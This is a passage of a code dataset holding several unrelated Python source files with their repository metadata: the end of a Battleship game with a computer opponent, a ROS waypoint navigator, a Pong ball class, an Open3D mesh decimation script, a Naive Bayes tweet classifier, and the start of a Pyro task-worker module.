range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nI sunk a boat!')\n time.sleep(.8)\n print('\\n=======================================')\n \n pbs = sum(ai_gameboard, [])\n if('X' in pbs):\n mode = 'hunting'\n idx = [i for i in range(len(pbs)) if(pbs[i]) == 'X']\n ch = rd.randint(0, len(index) - 1)\n coords = [idx[ch] // 10, idx[ch] % 10]\n else:\n mode = 'targeting'\n \n else:\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nIt\\'s a hit!')\n time.sleep(.8)\n print('\\n=======================================')\n \n mode = 'hunting'\n coords = [index[choose] // 10, index[choose] % 10]\n \n prev_coords = [index[choose] // 10, index[choose] % 10]\n else:\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nI missed.')\n time.sleep(.8)\n print('\\n=======================================')\n \n ai_gameboard[index[choose] // 10][index[choose] % 10] = ' '\n playerboard[index[choose] // 10][index[choose] % 10] = ' '\n \n print('\\nYour board')\n print_board(playerboard)\n \n elif(mode == 'hunting'):\n \n maxprobability = probability_board_hunting(prev_coords, coords, probability, 0)\n props = sum(probability, [])\n index = [i for i in range(len(props)) if(props[i]) == maxprobability]\n choose = rd.randint(0, len(index) - 1)\n if(check_hit(index[choose] // 10, index[choose] % 10, playerboard)):\n \n ai_gameboard[index[choose] // 10][index[choose] % 10] = 'X'\n playerboard[index[choose] // 10][index[choose] % 10] = 'X'\n \n if(check_sink(playerboard, ai_gameboard, player_ships_remaining, player_placement)):\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nI sunk a boat!')\n time.sleep(.8)\n print('\\n=======================================')\n pbs = sum(ai_gameboard, [])\n if('X' in pbs):\n mode = 'hunting'\n idx = [i for i in range(len(pbs)) if(pbs[i]) == 'X']\n ch = rd.randint(0, len(idx) - 1)\n print(idx, ch)\n coords = [idx[ch] // 10, idx[ch] % 10]\n else:\n mode = 'targeting'\n \n else:\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nIt\\'s a hit!')\n time.sleep(.8)\n print('\\n=======================================')\n \n mode = 'hunting'\n prev_coords = [coords[0], coords[1]]\n coords = [index[choose] // 10, index[choose] % 10]\n \n else:\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n print('\\nI missed.')\n time.sleep(.8)\n print('\\n=======================================')\n \n ai_gameboard[index[choose] // 10][index[choose] % 10] = ' '\n playerboard[index[choose] // 10][index[choose] % 10] = ' '\n \n print('\\nYour board')\n print_board(playerboard)\n\ndef pregame(): #pregame set up(choosing mode, how many ships, ship placement)\n print('\\n=======================================')\n print('\\nLet\\'s play BattleShips')\n print('\\n=======================================')\n \n Flag = True\n while Flag:\n nship = input('Enter how many ships you would like to place [1-9]: ')\n print('\\n=======================================')\n if(nship not in [str(i) for i in range(1,10)]):\n print('\\nEnter a number from 1 to 9.')\n print('\\n=======================================')\n else:\n Flag = False \n \n global numship\n numship = [int(i) for i in range(1, int(nship) + 1)]\n global numship2\n numship2 = c.deepcopy(numship)\n\n global setting\n setting = input(\"Would you like to play against an AI or another player?\\n\"\n \" 1) Player vs player\\n\"\n \" 2) Player vs Ai\\n\\n\")\n print('\\n=======================================')\n while setting not in ['1', '2']:\n setting = input('Invalid input. Would you like to play against an AI or another person?\\n'\n ' 1) for player vs player\\n'\n ' 2) for player vs Ai\\n\\n')\n print('\\n=======================================')\n num_player(int(setting))\n instructions()\n \n global name \n name = []\n if(setting == '2'):\n name.append(input(\"Enter your name: \"))\n print('\\n=======================================')\n print(\"\\nIt's time to set up your ship, \" + name[0] + \". Please keep in mind:\\n\\n\"\n \" - Ships will be places based on their orientation\\n\"\n \" - Horizontal ships will be placed relative to the left-most square\\n\"\n \" - Vertical ships will be placed relative to the right-most square\\n\"\n \" - Ships can not extend beyond the border and can not cross-over other ships\")\n input(\"Press enter to continue\")\n print('\\n=======================================')\n \n ai_ship_placement(len(numship), 0)\n while len(numship) != 0:\n placement_info(numship, playerboard)\n else:\n for i in range(2):\n for j in range(35):\n print('\\n')\n name.append(input('Enter player ' + str(i + 1) + '\\'s name: '))\n print('\\n=======================================')\n print(\"\\nIt's time to set up your ship, \" + name[i] + \". Please keep in mind:\\n\\n\"\n \" - Ships will be places based on their orientation\\n\"\n \" - Horizontal ships will be placed relative to the left-most square\\n\"\n \" - Vertical ships will be placed relative to the right-most square\\n\"\n \" - Ships can not extend beyond the border and can not cross-over other ships\")\n input(\"Press enter to continue\")\n print('\\n=======================================')\n \n if(i == 0):\n while len(numship) != 0:\n placement_info(numship, playerboard1)\n else:\n while len(numship2) != 0:\n placement_info(numship2, playerboard2)\n\npregame()\n\nif(setting == '1'):\n for j in range(35):\n print('\\n')\n print('\\nBefore starting, I will flip a coin to see who will go first:')\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n \n if(rd.randint(0, 1) == 0): #player 1 goes first\n print('\\n' + name[0] + ' gets to go first.')\n time.sleep(2)\n print('\\n=======================================')\n while len(player1_ships_remaining) != 0 and len(player2_ships_remaining) != 0:\n print('\\n' + name[0] + ' turn.')\n player_shooting(main_gameboard1, playerboard2, player2_ships_remaining, player2_placements)\n if(len(player1_ships_remaining) == 0 or len(player2_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n print('\\n' + name[1] + '\\'s turn.')\n player_shooting(main_gameboard2, playerboard1, player1_ships_remaining, player1_placement)\n if(len(player2_ships_remaining) == 0 or len(player1_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n if(len(player1_ships_remaining) == 0):\n print('\\n\\nCongratulations, ' + name[0] + ', you have sunk all of ' + name[1] + '\\'s ships!')\n elif(len(player2_ships_remaining) == 0):\n print('\\n\\nCongratulations, ' + name[1] + ', you have sunk all of ' + name[0] + '\\'s ships!')\n else:\n print('\\n' + name[1] + ' gets to go first.')\n time.sleep(2)\n print('\\n=======================================')\n while len(player2_ships_remaining) != 0 and len(player1_ships_remaining) != 0:\n print('\\n' + name[1] + '\\'s turn.')\n player_shooting(main_gameboard2, playerboard1, player1_ships_remaining, player1_placement)\n if(len(player2_ships_remaining) == 0 or len(player1_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n print('\\n' + name[0] + ' turn.')\n player_shooting(main_gameboard1, playerboard2, player2_ships_remaining, player2_placements)\n if(len(player1_ships_remaining) == 0 or len(player2_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n if(len(player2_ships_remaining) == 0):\n print('\\n\\nCongratulations, ' + name[0] + ', you have sunk all of ' + name[1] + '\\'s ships!')\n elif(len(player1_ships_remaining) == 0):\n print('\\n\\nCongratulations, ' + name[1] + ', you have sunk all of ' + name[0] + '\\'s ships!')\nelif(setting == '2'):\n print('\\nBefore starting, I will flip a coin to see who will go first:')\n for i in range(3):\n time.sleep(.8)\n print(\"...\")\n \n if(rd.randint(0, 1) == 0): #player goes first\n print('\\nYou get to go first.')\n time.sleep(2)\n print('\\n=======================================')\n while len(player_ships_remaining) != 0 and len(ai_ships_remaining) != 0:\n print('\\nYour turn.')\n player_shooting(player_gameboard, ai_board, ai_ships_remaining, ai_placement)\n if(len(player_ships_remaining) == 0 or len(ai_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n print('\\nMy turn.\\n')\n ai_shooting()\n input(\"Press enter to continue\")\n print('\\n=======================================')\n \n if(len(player_ships_remaining) == 0):\n print('\\nYou lose, ' + name[0] + '. I have sunk all of your ships.')\n elif(len(ai_ships_remaining) == 0):\n print('\\nYou won! \\n\\nCongratulations, ' + name[0] + ', you have sunk all of my ships!')\n else:\n print('\\nI get to go first.')\n time.sleep(2)\n print('\\n=======================================')\n while len(player_ships_remaining) != 0 and len(ai_ships_remaining) != 0:\n print('\\nMy turn.')\n ai_shooting()\n if(len(player_ships_remaining) == 0 or len(ai_ships_remaining) == 0):\n break\n input(\"Press enter to continue\")\n print('\\n=======================================')\n print('\\nYour turn.')\n player_shooting(player_gameboard, ai_board, ai_ships_remaining, ai_placement)\n input(\"Press enter to continue\")\n print('\\n=======================================')\n \n if(len(player_ships_remaining) == 0):\n print('\\nYou lose, ' + name[0] + '. I have sunk all of your ships.')\n elif(len(ai_ships_remaining) == 0):\n print('\\nYou won! \\n\\nCongratulations, ' + name[0] + ', you have sunk all of my ships!')","repo_name":"linh-ngu/python-battleship","sub_path":"battleship.py","file_name":"battleship.py","file_ext":"py","file_size_in_byte":30291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33281141583","text":"import rospy\nimport math\nimport tf2_geometry_msgs\nimport tf2_ros\nimport tf\n\nfrom visualization_msgs.msg import Marker, MarkerArray\nfrom geometry_msgs.msg import PoseArray, PoseStamped, Point, Quaternion, Pose, Twist\nfrom move_base_msgs.msg import MoveBaseActionResult\nfrom nav_msgs.srv import GetPlan\nfrom actionlib_msgs.msg import GoalID\n\n\nclass Mover:\n def __init__(self):\n self.node = rospy.init_node(\"mover\")\n self.waypoint_markers_publisher = rospy.Publisher(\n \"/waypoint_markers\", MarkerArray, queue_size=10\n )\n self.pose_publisher = rospy.Publisher(\n \"/move_base_simple/goal\", PoseStamped, queue_size=10\n )\n\n self.waypoint_markers = MarkerArray()\n self.seq = 0\n\n self.states = {\n 0: \"Get next waypoint\",\n 1: \"Moving to waypoint\",\n 2: \"Return home\",\n 3: \"End\",\n }\n\n self.state = 0\n self.starting_pose = None\n self.waypoints = rospy.wait_for_message(\"/waypoints\", PoseArray)\n\n self.n_waypoints = len(self.waypoints.poses)\n\n self.result_sub = rospy.Subscriber(\n \"/move_base/result\", MoveBaseActionResult, self.result_sub_callback\n )\n\n self.get_plan = rospy.ServiceProxy(\"/move_base/make_plan\", GetPlan)\n\n self.tf_buf = tf2_ros.Buffer()\n self.tf2_listener = tf2_ros.TransformListener(self.tf_buf)\n\n self.run()\n\n def run(self):\n r = rospy.Rate(1)\n while self.pose_publisher.get_num_connections() < 1:\n r.sleep()\n\n self.starting_pose = self.get_current_pose()\n\n while not rospy.is_shutdown():\n self.waypoint_markers_publisher.publish(self.waypoint_markers)\n\n if self.state == 0:\n if len(self.waypoints.poses) > 0:\n nex_waypoint = self.find_nearest_waypoint()\n self.waypoints.poses.remove(nex_waypoint)\n self.send_next_waypoint(nex_waypoint)\n self.state = 1\n else:\n self.send_next_waypoint(self.starting_pose.pose)\n self.state = 2\n elif self.state == 3:\n print(\"Finish\")\n break\n\n def get_current_pose(self) -> PoseStamped:\n pose_translation = None\n while pose_translation is None:\n try:\n pose_translation = self.tf_buf.lookup_transform(\n \"map\", \"base_link\", rospy.Time.now(), rospy.Duration(5)\n )\n except Exception as e:\n print(e)\n\n pose = PoseStamped()\n pose.header.seq = 0\n pose.header.stamp = rospy.Time.now()\n pose.header.frame_id = \"map\"\n pose.pose.position = Point(\n pose_translation.transform.translation.x,\n pose_translation.transform.translation.y,\n 0,\n )\n pose.pose.orientation = pose_translation.transform.rotation\n return pose\n\n def find_nearest_waypoint(self, fix_angle=True) -> Pose:\n start = self.get_current_pose()\n min_len = 100000\n\n # Find the closest waypoint to teh current position\n for e in self.waypoints.poses:\n goal = PoseStamped()\n goal.header.seq = 0\n goal.header.stamp = rospy.Time.now()\n goal.header.frame_id = \"map\"\n goal.pose.position = e.position\n goal.pose.orientation = e.orientation\n\n req = GetPlan()\n req.start = start\n req.goal = goal\n req.tolerance = 0.5\n resp = self.get_plan(req.start, req.goal, req.tolerance)\n path_len = sum(\n [\n math.sqrt(\n pow(\n (\n resp.plan.poses[i + 1].pose.position.x\n - resp.plan.poses[i].pose.position.x\n ),\n 2,\n )\n + pow(\n (\n resp.plan.poses[i + 1].pose.position.y\n - resp.plan.poses[i].pose.position.y\n ),\n 2,\n )\n )\n for i in range(0, len(resp.plan.poses) - 1)\n ]\n )\n\n if path_len < min_len:\n min_len = path_len\n waypoint = e\n\n if fix_angle:\n waypoint.orientation = self.fix_angle(waypoint, start)\n\n return waypoint\n\n def fix_angle(self, pose: Pose, current_pose: PoseStamped) -> Quaternion:\n dx = pose.position.x - current_pose.pose.position.x\n dy = pose.position.y - current_pose.pose.position.y\n return Quaternion(\n *list(tf.transformations.quaternion_from_euler(0, 0, math.atan2(dy, dx)))\n )\n\n def send_next_waypoint(self, waypoint: Pose):\n self.waypoint_markers.markers.append(self.create_marker(self.seq, waypoint))\n\n msg = PoseStamped()\n msg.header.seq = self.seq\n msg.header.stamp = rospy.Time.now()\n msg.header.frame_id = \"map\"\n\n msg.pose.position = waypoint.position\n msg.pose.orientation = waypoint.orientation\n self.pose_publisher.publish(msg)\n\n def create_marker(\n self,\n id,\n waypoint: Pose,\n sx=0.5,\n sy=0.5,\n r=0,\n g=0,\n b=0,\n a=1,\n mType=Marker.SPHERE,\n action=Marker.ADD,\n lifetime=0,\n ):\n msg = Marker()\n msg.header.frame_id = \"map\"\n msg.header.stamp = rospy.Time.now()\n\n msg.ns = \"waypoints\"\n msg.id = id\n msg.type = mType\n msg.action = action\n\n msg.pose.position = waypoint.position\n msg.pose.orientation = Quaternion(0, 0, 0, 1)\n msg.scale.x = sx\n msg.scale.y = sy\n msg.scale.z = 0\n\n msg.color.r = r\n msg.color.g = g\n msg.color.b = b\n msg.color.a = a\n\n msg.lifetime = rospy.Duration(lifetime)\n\n return msg\n\n def result_sub_callback(self, data):\n res_state = data.status.status\n if self.state == 1:\n if res_state == 3:\n self.seq += 1\n self.state = 0\n self.waypoint_markers.markers[-1].color.a = 0.3\n print(\"Waypoint reached\")\n elif res_state == 4:\n print(\"Waypoint unreachable\")\n self.state = 0\n elif self.state == 2:\n if res_state == 3:\n self.state = 3\n\n\nif __name__ == \"__main__\":\n ms = Mover()","repo_name":"nikp00/RInS_2021","sub_path":"src/hw_5/scripts/mover.py","file_name":"mover.py","file_ext":"py","file_size_in_byte":6726,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"21811403844","text":"from turtle import Turtle\nY_DIRECTION = 7\nX_DIRECTION = 10\n\n\n\nclass Ball(Turtle):\n def __init__(self):\n super().__init__()\n self.shape(\"circle\")\n self.color(\"pink\")\n self.shapesize(stretch_wid=1,stretch_len=1)\n self.penup()\n self.y_direction = 1\n self.x_direction = 1\n\n\n def move(self):\n new_x = self.xcor()+X_DIRECTION*self.x_direction\n new_y = self.ycor()+Y_DIRECTION*self.y_direction\n self.goto(new_x,new_y)\n\n def reset_position(self):\n self.goto(0,0)","repo_name":"StockJanitor/Udemy_Python100","sub_path":"11_pong/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20866412223","text":"import open3d as o3d\n\n# Note that open3d requires version 3.10 of Python. \n\n# Mesh needs to be manifold and triangulated.\nNUMbase = o3d.io.read_triangle_mesh(r\"G:\\Markus_Folder\\Business Backup\\Datasets\\Paper_Simplification\\Baselines\\NUMB.obj\") #NUMB is the baseline mesh for comparison. \nNUMbase.compute_vertex_normals()\nprint(NUMbase)\n\nprint(\"Before simplification:\", NUMbase)\n\ntotaltris=522328\n\n#Starting simplification. Going through 16 stages, reducing by 5,625% at each stage. \n\nmesh_smp1 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.94375))\n)\nprint(\"Simplification Stage 1 (5.623% reduction): \", mesh_smp1)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD1.obj\", mesh_smp1)\n\n\nmesh_smp2 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.8875))\n)\nprint(\"Simplification Stage 2 (5.623%*2 reduction): \", mesh_smp2)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD2.obj\", mesh_smp2)\n\n\nmesh_smp3 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.83125))\n)\nprint(\"Simplification Stage 3 (5.623%*3 reduction): \", mesh_smp3)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD3.obj\", mesh_smp3)\n\n\nmesh_smp4 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.775))\n) \no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD4.obj\", mesh_smp4)\n\n\nmesh_smp5 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.71875))\n)\nprint(\"Simplification Stage 5 (5.623%*5 reduction): \", mesh_smp5)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD5.obj\", mesh_smp5)\n\n\nmesh_smp6 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.6625))\n)\nprint(\"Simplification Stage 6 (5.623%*6 reduction): \", mesh_smp6)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD6.obj\", mesh_smp6)\n\n\nmesh_smp7 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.60625))\n)\nprint(\"Simplification Stage 7 (5.623%*7 reduction): \", mesh_smp7)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD7.obj\", mesh_smp7)\n\n\nmesh_smp8 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.55))\n)\nprint(\"Simplification Stage 8 (5.623%*8 reduction): \", mesh_smp8)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD8.obj\", mesh_smp8)\n\n\nmesh_smp9 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.49375))\n)\nprint(\"Simplification Stage 9 (5.623%*9 reduction): \", mesh_smp9)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD9.obj\", mesh_smp9)\n\n\nmesh_smp10 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.4375))\n)\nprint(\"Simplification Stage 10 (5.623%*10 reduction): \", mesh_smp10)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD10.obj\", mesh_smp10)\n\n\nmesh_smp11 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.38125))\n)\nprint(\"Simplification Stage 11 (5.623%*11 reduction): \", mesh_smp11)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD11.obj\", mesh_smp11)\n\n\nmesh_smp12 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.325))\n)\nprint(\"Simplification Stage 12 (5.623%*12 reduction): \", mesh_smp12)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD12.obj\", mesh_smp12)\n\n\nmesh_smp13 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.26875))\n)\nprint(\"Simplification Stage 13 (5.623%*13 reduction): \", mesh_smp13)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD13.obj\", mesh_smp13)\n\n\nmesh_smp14 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.2125))\n)\nprint(\"Simplification Stage 14 (5.623%*14 reduction): \", mesh_smp14)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD14.obj\", mesh_smp14)\n\n\nmesh_smp15 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.15625))\n) \nprint(\"Simplification Stage 15 (5.623%*15 reduction): \", mesh_smp15)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD15.obj\", mesh_smp15)\n\n\nmesh_smp16 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.1))\n)\nprint(\"Simplification Stage 16 (5.623%*16 reduction): \", mesh_smp16)\no3d.io.write_triangle_mesh(r\"D:\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD16.obj\", mesh_smp16)\n\nmesh_smp17 = NUMbase.simplify_quadric_decimation(\n target_number_of_triangles=(int(totaltris*0.01))\n)\nprint(\"Simplification Stage 17 (5.623%*16 reduction): \", mesh_smp17)\no3d.io.write_triangle_mesh(r\"G:\\Markus_Folder\\Business Backup\\Datasets\\Paper_Simplification\\Decimation\\NUMD\\NUMD17.obj\", mesh_smp17)","repo_name":"MStoreide/Simplification-Algorithms","sub_path":"Open3DDecimation/NUMD.py","file_name":"NUMD.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39657748985","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\n\n\n# In[2]:\n\n\nimport numpy as np\n\n\n# In[3]:\n\n\nimport xlrd\n\n\n# In[4]:\n\n\nimport os\n\n\n# In[5]:\n\n\nimport math\n\n\n# In[6]:\n\n\ndf=pd.read_excel(r'C:\\Users\\HyunSeok\\Desktop\\air\\5_Naive Bayes_Data.xlsx',sheet_name='AboutMandrillApp')\n\n\n# In[7]:\n\n\ndf2=pd.read_excel(r'C:\\Users\\HyunSeok\\Desktop\\air\\5_Naive Bayes_Data.xlsx',sheet_name='AboutOther')\n\n\n# In[8]:\n\n\ndf['lower']=df.Tweet.str.lower()\n\n\n# In[9]:\n\n\ndf2['lower']=df2.Tweet.str.lower()\n\n\n# In[10]:\n\n\napp = []\nreplace_app =[]\n\n\n# In[11]:\n\n\nother =[]\nreplace_other=[]\n\n\n# In[12]:\n\n\nfor j in range(df.shape[0]):\n app.append(df.iloc[j]['lower'])\n \n\n\n# In[13]:\n\n\nfor j in range(df2.shape[0]):\n other.append(df2.iloc[j]['lower'])\n\n\n# In[14]:\n\n\nfor j in range(df.shape[0]):\n replace_app.append(app[j].replace(\". \",\" \").replace(\": \",\" \").replace(\"?\",\" \").replace(\"!\",\" \").replace(\",\",\" \").replace(\";\",\" \"))\n\n\n# In[15]:\n\n\nfor j in range(df2.shape[0]):\n replace_other.append(other[j].replace(\". \",\" \").replace(\": \",\" \").replace(\"?\",\" \").replace(\"!\",\" \").replace(\",\",\" \").replace(\";\",\" \"))\n\n\n# In[16]:\n\n\napp_token=[]\n\n\n# In[17]:\n\n\nother_token=[]\n\n\n# In[18]:\n\n\nfor j in range(df.shape[0]):\n app_token.append(replace_app[j].split(\" \"))\n\n\n# In[19]:\n\n\nfor j in range(df2.shape[0]):\n other_token.append(replace_other[j].split(\" \"))\n\n\n# In[20]:\n\n\nreal_app_token=[]\n\n\n# In[21]:\n\n\nreal_other_token=[]\n\n\n# In[22]:\n\n\nfor i in range(df.shape[0]):\n for j in range(len(app_token[i])):\n if len(app_token[i][j])>3 :\n real_app_token.append(app_token[i][j])\n\n\n# In[23]:\n\n\nfor i in range(df2.shape[0]):\n for j in range(len(other_token[i])):\n if len(other_token[i][j])>3 :\n real_other_token.append(other_token[i][j])\n\n\n# In[24]:\n\n\napp_cout_token ={ }\n\n\n# In[25]:\n\n\nother_cout_token={ } \n\n\n# In[26]:\n\n\nfor lst in real_app_token:\n try: app_cout_token[lst] +=1\n except: app_cout_token[lst] =1\n\n\n# In[27]:\n\n\nfor lst in real_other_token:\n try: other_cout_token[lst] +=1\n except: other_cout_token[lst] =1\n\n\n# In[28]:\n\n\ntotal=len(app_cout_token)+len(real_app_token)\n\n\n# In[29]:\n\n\ntotal2=len(other_cout_token)+len(real_other_token)\n\n\n# In[30]:\n\n\nfrom pandas import DataFrame\n\n\n# In[31]:\n\n\nnew_df=DataFrame([app_cout_token],index=['num'])\n\n\n# In[32]:\n\n\nnew2_df=DataFrame([other_cout_token],index=['num'])\n\n\n# In[33]:\n\n\nnew_df.loc['num+1']=new_df.loc['num']+1\n\n\n# In[34]:\n\n\nnew2_df.loc['num+1']=new2_df.loc['num']+1\n\n\n# In[35]:\n\n\nnew_df.loc['percent']=new_df.loc['num+1']/total\n\n\n# In[36]:\n\n\nnew2_df.loc['percent']=new2_df.loc['num+1']/total2\n\n\n# In[37]:\n\n\nnew_df.loc['LN']=np.log(new_df.loc['percent'])\n\n\n# In[38]:\n\n\nnew2_df.loc['LN']=np.log(new2_df.loc['percent'])\n\n\n# In[39]:\n\n\ndf3=pd.read_excel(r'C:\\Users\\HyunSeok\\Desktop\\air\\5_Naive Bayes_Data.xlsx',sheet_name='TestTweets')\n\n\n# In[40]:\n\n\ndf3['lower']=df3.Tweet.str.lower()\n\n\n# In[41]:\n\n\ntest =[]\nreplace_test=[]\n\n\n# In[42]:\n\n\nfor j in range(df3.shape[0]):\n test.append(df3.iloc[j]['lower'])\n\n\n# In[43]:\n\n\nfor j in range(df3.shape[0]):\n replace_test.append(test[j].replace(\". \",\" \").replace(\": \",\" \").replace(\"?\",\" \").replace(\"!\",\" \").replace(\",\",\" \").replace(\";\",\" \"))\n\n\n# In[44]:\n\n\ntest_token=[]\n\n\n# In[45]:\n\n\nfor j in range(df3.shape[0]):\n test_token.append(replace_test[j].split(\" \"))\n\n\n# In[46]:\n\n\nreal_test_token=[]\neach_test_token=[]\n\n\n# In[47]:\n\n\nfor i in range(df3.shape[0]):\n for j in range(len(test_token[i])):\n if len(test_token[i][j])>3 :\n real_test_token.append(test_token[i][j])\n each_test_token.append(real_test_token)\n real_test_token=[]\n\n\n# In[48]:\n\n\napp_exit_column=[]\nresult_app_predi =[]\nisint=0\n\n\n# In[49]:\n\n\nfor j in range (len(each_test_token)):\n for k in range (len(each_test_token[j])):\n for i in range(len(new_df.columns)):\n if(new_df.columns[i] == each_test_token[j][k]):\n app_exit_column.append(each_test_token[j][k])\n isint=1\n break;\n if isint==0:\n app_exit_column.append(1)\n else:\n isint=0\n result_app_predi.append(app_exit_column)\n app_exit_column=[]\n\n\n# In[50]:\n\n\nother_exit_column=[]\nresult_other_predi =[]\n\n\n# In[51]:\n\n\nisint =0\nfor j in range (len(each_test_token)):\n for k in range (len(each_test_token[j])):\n for i in range(len(new2_df.columns)):\n if(new2_df.columns[i] == each_test_token[j][k]):\n other_exit_column.append(each_test_token[j][k])\n isint=1\n break\n if isint==0:\n other_exit_column.append(1)\n else:\n isint=0\n result_other_predi.append(other_exit_column)\n other_exit_column=[]\n\n\n# In[52]:\n\n\napp_predi =0\nother_predi =0\n\n\n# In[53]:\n\n\nEnding_result =[]\n\n\n# In[54]:\n\n\nfor i in range (len(result_app_predi)):\n for j in range (len(result_app_predi[i])):\n if result_app_predi[i][j]==1:\n app_predi=app_predi+(-7.78738)\n else:\n app_predi=app_predi+new_df[result_app_predi[i][j]][3]\n for k in range (len(result_other_predi[i])):\n if result_other_predi[i][k]==1:\n other_predi=other_predi+(-7.61431)\n else:\n other_predi=other_predi+new2_df[result_other_predi[i][k]][3]\n\n if app_predi>other_predi:\n Ending_result.append(\"app\")\n else:\n Ending_result.append(\"other\")\n app_predi=0\n other_predi=0\n\n\n# In[56]:\n\n\nEnding_result\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"you-0101/smarttech","sub_path":"HW3/HW5_NaiveBayes.py","file_name":"HW5_NaiveBayes.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41488923381","text":"'''\nThis script gets a truncated portion of the dataset for validation(5 lac lines after 10 lac)\n'''\n\nimport os\nfile_name = \"IndicCorpora/data/en/en.txt\" # PATH TO THE DATASET\ntext = []\ncount = 0\nwith open(file_name) as txt_file:\n for line in txt_file:\n # process the line\n text.append(line)\n count+=1\n if count>=1500000:\n break\ntext = text[1000000:]\nfile1 = open(\"./IndicCorpora/data/en/reduced_data_val.txt\",\"w\")\nfile1.writelines(text)\nfile1.close()","repo_name":"voyager1001/bert-pretraining-using-nemo","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72396193473","text":"__all__ = ['TaskWorker', 'MultiTaskWorker', 'TaskWorkerServer']\n\nimport sys\nimport os\nimport socket\nimport time\nimport itertools\nimport random\n\nfrom pyutilib.pyro.util import get_nameserver, using_pyro3, using_pyro4\nfrom pyutilib.pyro.util import Pyro as _pyro\nfrom pyutilib.pyro.util import get_dispatchers, _connection_problem\n\nfrom six import advance_iterator, iteritems, itervalues\nfrom six.moves import xrange\n\n#\n# With Pyro3 we check for a different set of errors\n# in the run loop so that we don't ignore shutdown\n# requests from the dispatcher\n#\n_worker_connection_problem = None\nif using_pyro3:\n _worker_connection_problem = (_pyro.errors.TimeoutError,\n _pyro.errors.ConnectionDeniedError)\nelif using_pyro4:\n _worker_connection_problem = _pyro.errors.TimeoutError\n\n_worker_task_return_queue_unset = object()\n\n\nclass TaskWorkerBase(object):\n\n def __init__(self,\n group=\":PyUtilibServer\",\n host=None,\n port=None,\n num_dispatcher_tries=30,\n caller_name=\"Task Worker\",\n verbose=False,\n name=None):\n\n self._verbose = verbose\n # A worker can set this flag\n # if an error occurs during processing\n self._worker_error = False\n self._worker_shutdown = False\n self._worker_task_return_queue = _worker_task_return_queue_unset\n # sets 